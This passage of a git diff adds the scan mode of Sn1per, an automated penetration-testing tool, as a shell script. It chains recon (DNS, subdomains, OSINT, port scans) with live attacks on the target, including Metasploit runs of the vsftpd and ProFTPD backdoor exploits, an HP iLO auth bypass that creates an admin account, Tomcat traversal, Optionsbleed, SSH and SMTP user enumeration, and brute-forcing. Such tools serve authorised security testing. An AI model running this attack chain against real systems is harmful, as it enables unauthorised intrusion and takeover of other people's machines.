/bin/CutyCapt --url=https://$TARGET:443 --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=1000 2> /dev/null & + else + cutycapt --url=http://$TARGET:80 --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=1000 2> /dev/null & + cutycapt --url=https://$TARGET:80 --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=1000 2> /dev/null & + fi + + i=$((i+1)) + if [ "$i" -gt "20" ]; then + i=0 + sleep 2 + fi + done + + sort -u $LOOT_DIR/domains/targets.txt >> $LOOT_DIR/domains/domains-all-sorted.txt + + sleep 20 + rm -f $INSTALL_DIR/wget-log* + echo -e "$OKRED=====================================================================================$RESET" + + if [ "$LOOT" = "1" ]; then + loot + else + for HOST in `sort -u $LOOT_DIR/domains/domains-all-sorted.txt $LOOT_DIR/domains/targets-all-sorted.txt`; do + TARGET="$HOST" + echo -e "$OKRED=====================================================================================$RESET" + echo -e "${OKBLUE}HOST:$RESET $TARGET" + echo -e "${OKBLUE}DNS:$RESET `cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null`" + echo -e "${OKBLUE}TAKEOVERS:$RESET ${OKRED}" && cat $LOOT_DIR/nmap/takeovers-$TARGET.txt 2> /dev/null + echo -en "${OKBLUE}TITLE:$RESET ${OKORANGE}" && cat $LOOT_DIR/web/title-htt*-$TARGET.txt 2> /dev/null + echo "-" + echo -e "${OKBLUE}HEADERS:$RESET" + cat $LOOT_DIR/web/headers-htt*-$TARGET.txt 2> /dev/null + echo -en "${OKBLUE}PORTS:$RESET " + for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2`; do + echo -n "$PORT " + done + echo "" + done + fi + + exit +fi \ No newline at end of file diff --git a/modes/normal.sh b/modes/normal.sh new file mode 100644 index 0000000..bcb3791 --- /dev/null +++ b/modes/normal.sh @@ -0,0 +1,1314 @@ +# NORMAL SCAN ##################################################################################################### +if [ "$REPORT" = "1" ]; then + args="-t $TARGET" + if [ "$OSINT" = "1" ]; then + args="$args -o" + fi + if [ "$AUTOBRUTE" = "1" ]; then + args="$args -b" + fi + if [ "$FULLNMAPSCAN" = "1" ]; then + args="$args -fp" + fi + if [ "$RECON" = "1" ]; then + args="$args -re" + fi + if [ "MODE" = "port" ]; then + args="$args -m port" + fi + if [ ! -z "$PORT" ]; then + args="$args -p $PORT" + fi + if [ ! -z "$WORKSPACE" ]; then + args="$args -w $WORKSPACE" + fi + args="$args --noreport" + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-normal.txt + sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-`date +%Y%m%d%H%M`.txt 2>&1 + exit +fi + +echo -e "$OKRED ____ $RESET" +echo -e "$OKRED _________ / _/___ ___ _____$RESET" +echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" +echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" +echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" +echo -e "$OKRED /_/ $RESET" +echo -e "$RESET" +echo -e "$OKORANGE + -- --=[http://xerosecurity.com" +echo -e "$OKORANGE + -- --=[sniper v$VER by 1N3" +echo -e "$RESET" + +if [ ! -z $WORKSPACE ]; then + LOOT_DIR=$WORKSPACE_DIR +fi + +echo "$TARGET" >> $LOOT_DIR/domains/targets.txt + +echo -e "${OKGREEN}====================================================================================${RESET}" +echo -e "$OKRED GATHERING DNS INFO $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}" +dig all +short $TARGET > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null +dig all +short -x $TARGET >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null +dnsenum $TARGET 2> /dev/null +mv -f *_ips.txt $LOOT_DIR/domains/ 2>/dev/null + +if [ "$RECON" = "1" ]; then + if [ $SCAN_TYPE == "DOMAIN" ]; + then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING WHOIS INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + whois $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBLIST3R $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $PLUGINS_DIR/Sublist3r/sublist3r.py -d $TARGET -vvv -o $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null + if [ "$AMASS" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA AMASS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + amass -whois -ip -brute -o $LOOT_DIR/domains/domains-$TARGET-amass.txt -min-for-recursive 3 -d $TARGET 2>/dev/null + cut -d, -f1 $LOOT_DIR/domains/domains-$TARGET-amass.txt | grep $TARGET > $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt + cut -d, -f2 $LOOT_DIR/domains/domains-$TARGET-amass.txt > $LOOT_DIR/domains/domains-$TARGET-amass-ips-sorted.txt + fi + + if [ "$SUBFINDER" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBFINDER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + subfinder -o $LOOT_DIR/domains/domains-$TARGET-subfinder.txt -b -d $TARGET 2>/dev/null + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED BRUTE FORCING DNS SUBDOMAINS VIA DNSCAN (THIS COULD TAKE A WHILE...) $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + if [ "$DNSCAN" = "1" ]; then + python /pentest/recon/dnscan/dnscan.py -d $TARGET -w $DOMAINS_FULL -o $LOOT_DIR/domains/domains-dnscan-$TARGET.txt -i $LOOT_DIR/domains/domains-$TARGET-ips.txt + cat $LOOT_DIR/domains/domains-dnscan-$TARGET.txt | grep $TARGET | awk '{print $3}' | sort -u >> $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null + dos2unix $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null + fi + echo "" + if [ "$CRTSH" = "1" ]; then + echo -e "$OKRED ╔═╗╦═╗╔╦╗╔═╗╦ ╦$RESET" + echo -e "$OKRED ║ ╠╦╝ ║ ╚═╗╠═╣$RESET" + echo -e "$OKRED ╚═╝╩╚═ ╩o╚═╝╩ ╩$RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING CERTIFICATE SUBDOMAINS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKBLUE" + curl -s https://crt.sh/?q=%25.$TARGET > /tmp/curl.out && cat /tmp/curl.out | grep $TARGET | grep TD | sed -e 's///g' | sed -e 's/TD//g' | sed -e 's/\///g' | sed -e 's/ //g' | sed -n '1!p' | sort -u > $LOOT_DIR/domains/domains-$TARGET-crt.txt && cat $LOOT_DIR/domains/domains-$TARGET-crt.txt + echo "" + echo -e "${OKRED}[+] Domains saved to: $LOOT_DIR/domains/domains-$TARGET-full.txt" + fi + cat $LOOT_DIR/domains/domains-$TARGET-crt.txt > /tmp/curl.out 2> /dev/null + cat $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt >> /tmp/curl.out 2> /dev/null + cat $LOOT_DIR/domains/domains-$TARGET-subfinder.txt >> /tmp/curl.out 2> /dev/null + cat $LOOT_DIR/domains/domains-$TARGET.txt >> /tmp/curl.out 2> /dev/null + cat $LOOT_DIR/domains/targets.txt >> /tmp/curl.out 2> /dev/null + sort -u /tmp/curl.out > $LOOT_DIR/domains/domains-$TARGET-full.txt + rm -f /tmp/curl.out 2> /dev/null + echo -e "$RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING FOR SUBDOMAIN HIJACKING $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + dig $TARGET CNAME | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null + for a in `cat $LOOT_DIR/domains/domains-$TARGET-full.txt`; do dig $a CNAME | egrep -i 'wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp' | tee $LOOT_DIR/nmap/takeovers-$a.txt 2>/dev/null; done; + if [ "$SUBOVER" = "1" ]; then + subover -l $LOOT_DIR/domains/domains-$TARGET-full.txt | tee $LOOT_DIR/nmap/takeovers-$TARGET-subover.txt 2>/dev/null + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING FOR S3 PUBLIC BUCKETS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + if [ "$CLOUDHUNTER" = "1" ]; then + cloudhunter -d $a | tee $LOOT_DIR/nmap/takeovers-$TARGET-aws.txt -v y 2>/dev/null + cloudhunter -w $LOOT_DIR/domains/domains-$TARGET-full.txt | tee $LOOT_DIR/nmap/takeovers-$TARGET-aws-all.txt -v y 2>/dev/null + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING EMAIL SECURITY $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $PLUGINS_DIR/spoofcheck/spoofcheck.py $TARGET | tee $LOOT_DIR/nmap/dns-$TARGET-email.txt 2>/dev/null + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED STARTING DOMAIN FLYOVER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + aquatone-discover -d $TARGET -t 100 --wordlist $PLUGINS_DIR/Sublist3r/subdomains.lst | tee $LOOT_DIR/nmap/aquatone-$TARGET-discover.txt 2>/dev/null + aquatone-takeover -d $TARGET -t 100 | tee $LOOT_DIR/nmap/aquatone-$TARGET-aquatone.txt 2>/dev/null + aquatone-scan -d $TARGET -t 100 -p80,443 | tee $LOOT_DIR/nmap/aquatone-$TARGET-ports.txt 2>/dev/null + aquatone-gather -d $TARGET -t 100 | tee $LOOT_DIR/nmap/aquatone-$TARGET-gather.txt 2>/dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED STARTING PUBLIC S3 BUCKET SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + cd $PLUGINS_DIR/slurp/ + ./slurp-linux-amd64 domain --domain $TARGET + cd $INSTALL_DIR + echo "" + if [ "$OSINT" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING OSINT INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + theharvester -d $TARGET -l 25 -b all 2> /dev/null + metagoofil -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html + fi + fi +fi +echo "" +echo -e "${OKGREEN}====================================================================================${RESET}" +echo -e "$OKRED PINGING HOST $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}" +ping -c 1 $TARGET +echo "" +echo -e "${OKGREEN}====================================================================================${RESET}" +echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}" +if [ -z "$PORT" ]; then + nmap -sS -T5 --open -Pn -p $DEFAULT_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt +elif [ "$MODE" == "web" ]; then + nmap -sV -T5 -Pn -p 80,443 --open $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt +else + nmap -sS -T5 -Pn -p $PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt +fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING UDP PORT SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" +if [ -z "$PORT" ]; then + nmap -Pn -sU -T4 -p$DEFAULT_UDP_PORTS --open $TARGET -oX $LOOT_DIR/nmap/nmap-udp-$TARGET.xml +else + nmap -Pn -sU -T4 -p$PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-udp-$TARGET.xml +fi + +echo "" +echo -e "${OKGREEN}====================================================================================${RESET}" +echo -e "$OKRED RUNNING INTRUSIVE SCANS $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}" +port_21=`grep 'portid="21"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_22=`grep 'portid="22"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_23=`grep 'portid="23"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_25=`grep 'portid="25"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_53=`grep 'portid="53"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_79=`grep 'portid="79"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_80=`grep 'portid="80"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_110=`grep 'portid="110"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_111=`grep 'portid="111"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_135=`grep 'portid="135"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_137=`grep 'portid="137"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_139=`grep 'portid="139"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_162=`grep 'portid="162"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_389=`grep 'portid="389"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_443=`grep 'portid="443"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_445=`grep 'portid="445"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_512=`grep 'portid="512"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_513=`grep 'portid="513"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_514=`grep 'portid="514"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_623=`grep 'portid="623"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_624=`grep 'portid="624"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_1099=`grep 'portid="1099"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_1433=`grep 'portid="1433"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_1524=`grep 'portid="1524"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_2049=`grep 'portid="2049"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_2121=`grep 'portid="2121"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_3128=`grep 'portid="3128"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_3306=`grep 'portid="3306"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_3310=`grep 'portid="3310"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_3389=`grep 'portid="3389"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_3632=`grep 'portid="3632"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_4443=`grep 'portid="4443"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_5432=`grep 'portid="5432"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_5555=`grep 'portid="5555"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_5800=`grep 'portid="5800"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_5900=`grep 'portid="5900"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_5984=`grep 'portid="5984"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_6667=`grep 'portid="6667"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_7001=`grep 'portid="7001"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_8000=`grep 'portid="8000"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_8009=`grep 'portid="8009"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_8080=`grep 'portid="8080"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_8180=`grep 'portid="8180"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_8443=`grep 'portid="8443"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_8888=`grep 'portid="8888"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_10000=`grep 'portid="10000"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_16992=`grep 'portid="16992"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_27017=`grep 'portid="27017"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_27018=`grep 'portid="27018"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_27019=`grep 'portid="27019"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_28017=`grep 'portid="28017"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +port_49152=`grep 'portid="49152"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` + +if [ "$FULLNMAPSCAN" = "1" ]; then + port_67=`grep 'portid="67"' $LOOT_DIR/nmap/nmap-udp-$TARGET.xml | grep open` + port_68=`grep 'portid="68"' $LOOT_DIR/nmap/nmap-udp-$TARGET.xml | grep open` + port_69=`grep 'portid="69"' $LOOT_DIR/nmap/nmap-udp-$TARGET.xml | grep open` + port_123=`grep 'portid="123"' $LOOT_DIR/nmap/nmap-udp-$TARGET.xml | grep open` + port_161=`grep 'portid="161"' $LOOT_DIR/nmap/nmap-udp-$TARGET.xml | grep open` +fi + +if [ -z "$port_21" ]; +then + echo -e "$OKRED + -- --=[Port 21 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 21 opened... running tests...$RESET" + nmap -A -sV -Pn -sC -T5 -p 21 --script=ftp-* $TARGET + msfconsole -x "setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; use auxiliary/scanner/ftp/ftp_version; run; use auxiliary/scanner/ftp/anonymous; run; use exploit/unix/ftp/vsftpd_234_backdoor; run; use unix/ftp/proftpd_133c_backdoor; run; exit;" +fi + +if [ -z "$port_22" ]; +then + echo -e "$OKRED + -- --=[Port 22 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 22 opened... running tests...$RESET" + if [ $DISTRO == "blackarch" ]; then + /bin/ssh-audit $TARGET:22 + python $PLUGINS_DIR/ssh-enum/sshUsernameEnumExploit.py --port 22 --userList /usr/share/brutex/wordlists/simple-users.txt $TARGET | grep 'is a valid' + else + cd $PLUGINS_DIR/ssh-audit + python ssh-audit.py $TARGET:22 + python $PLUGINS_DIR/ssh-enum/sshUsernameEnumExploit.py --port 22 --userList /usr/share/brutex/wordlists/simple-users.txt $TARGET | grep 'is a valid' + fi + cd $INSTALL_DIR + nmap -A -sV -Pn -sC -T5 -p 22 --script=ssh-* $TARGET + msfconsole -x "setg USER_FILE "$USER_FILE"; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; use auxiliary/scanner/ssh/ssh_version; run; use scanner/ssh/ssh_enumusers; run; use scanner/ssh/ssh_identify_pubkeys; run; use scanner/ssh/ssh_version; run; exit;" +fi + +if [ -z "$port_23" ]; +then + echo -e "$OKRED + -- --=[Port 23 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 23 opened... running tests...$RESET" + echo "" + cisco-torch -A $TARGET + nmap -A -sV -Pn -T5 --script=telnet* -p 23 $TARGET + msfconsole -x "use scanner/telnet/lantronix_telnet_password; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; use scanner/telnet/lantronix_telnet_version; run; use scanner/telnet/telnet_encrypt_overflow; run; use scanner/telnet/telnet_ruggedcom; run; use scanner/telnet/telnet_version; run; exit;" +fi + +if [ -z "$port_25" ]; +then + echo -e "$OKRED + -- --=[Port 25 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 25 opened... running tests...$RESET" + nmap -A -sV -Pn -T5 --script=smtp* -p 25 $TARGET + smtp-user-enum -M VRFY -U $USER_FILE -t $TARGET + msfconsole -x "use scanner/smtp/smtp_enum; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; exit;" +fi + +if [ -z "$port_53" ]; +then + echo -e "$OKRED + -- --=[Port 53 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 53 opened... running tests...$RESET" + nmap -A -sV -Pn -T5 --script=dns* -p 53 $TARGET +fi + +if [ -z "$port_67" ]; +then + echo -e "$OKRED + -- --=[Port 67 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 67 opened... running tests...$RESET" + nmap -A -sU -sV -Pn -T5 --script=dhcp* -p 67 $TARGET +fi + +if [ -z "$port_68" ]; +then + echo -e "$OKRED + -- --=[Port 68 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 68 opened... running tests...$RESET" + nmap -A -sU -sV -Pn -T5 --script=dhcp* -p 68 $TARGET +fi + +if [ -z "$port_69" ]; +then + echo -e "$OKRED + -- --=[Port 69 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 69 opened... running tests...$RESET" + nmap -A -sU -sV -Pn -T5 --script=tftp* -p 69 $TARGET +fi + +if [ -z "$port_79" ]; +then + echo -e "$OKRED + -- --=[Port 79 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 79 opened... running tests...$RESET" + nmap -A -sV -Pn -T5 --script=finger* -p 79 $TARGET + bin/fingertool.sh $TARGET $USER_FILE +fi + +if [ -z "$port_80" ]; +then + echo -e "$OKRED + -- --=[Port 80 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 80 opened... running tests...$RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING FOR WAF $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wafw00f http://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-http 2> /dev/null + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-http > $LOOT_DIR/web/waf-$TARGET-http.txt 2> /dev/null + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING HTTP INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + whatweb -a 3 http://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-http 2> /dev/null + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-http > $LOOT_DIR/web/whatweb-$TARGET-http.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING SERVER INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python3 $PLUGINS_DIR/wig/wig.py -d -q -t 50 http://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-http + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-http > $LOOT_DIR/web/wig-$TARGET-http.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING HTTP HEADERS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null + curl --connect-timeout 3 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SAVING SCREENSHOTS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port80.jpg" + if [ ${DISTRO} == "blackarch" ]; then + /bin/CutyCapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=1000 2> /dev/null + else + cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=1000 2> /dev/null + fi + if [ "$MODE" = "web" ]; + then + if [ "$PASSIVE_SPIDER" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | sort -u | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null + fi + + if [ "$BLACKWIDOW" == "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + blackwidow -u http://$TARGET -l 3 -s y -v y + cat /usr/share/blackwidow/$TARGET/$TARGET-urls-sorted.txt >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_INSANE -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm + cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null + cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null + wget http://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-http.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING NMAP HTTP SCRIPTS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nmap -A -Pn -T5 -p 80 -sV --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse --script=http-vuln* $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + clusterd -i $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wpscan --url http://$TARGET --batch --disable-tls-checks + echo "" + wpscan --url http://$TARGET/wordpress/ --batch --disable-tls-checks + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING CMSMAP $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $CMSMAP -t http://$TARGET + echo "" + python $CMSMAP -t http://$TARGET/wordpress/ + echo "" + if [ "$NIKTO" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nikto -h http://$TARGET -output $LOOT_DIR/web/nikto-$TARGET-http.txt + fi + + cd $INSTALL_DIR + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING WEBDAV SCANNER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use scanner/http/webdav_scanner; setg RHOSTS "$TARGET"; setg RPORT "80"; setg SSL false; run; use scanner/http/webdav_website_content; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE TOMCAT UTF8 TRAVERSAL EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use admin/http/tomcat_utf8_traversal; setg RHOSTS "$TARGET"; setg RPORT "80"; set SSL false; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE OPTIONS BLEED EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use scanner/http/apache_optionsbleed; setg RHOSTS "$TARGET"; setg RPORT "80"; set SSL false; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING HP ILO AUTH BYPASS EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use admin/hp/hp_ilo_create_admin_account; setg RHOST "$TARGET"; setg RPORT "80"; set SSL false; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING MS15-034 SYS MEMORY DUMP METASPLOIT 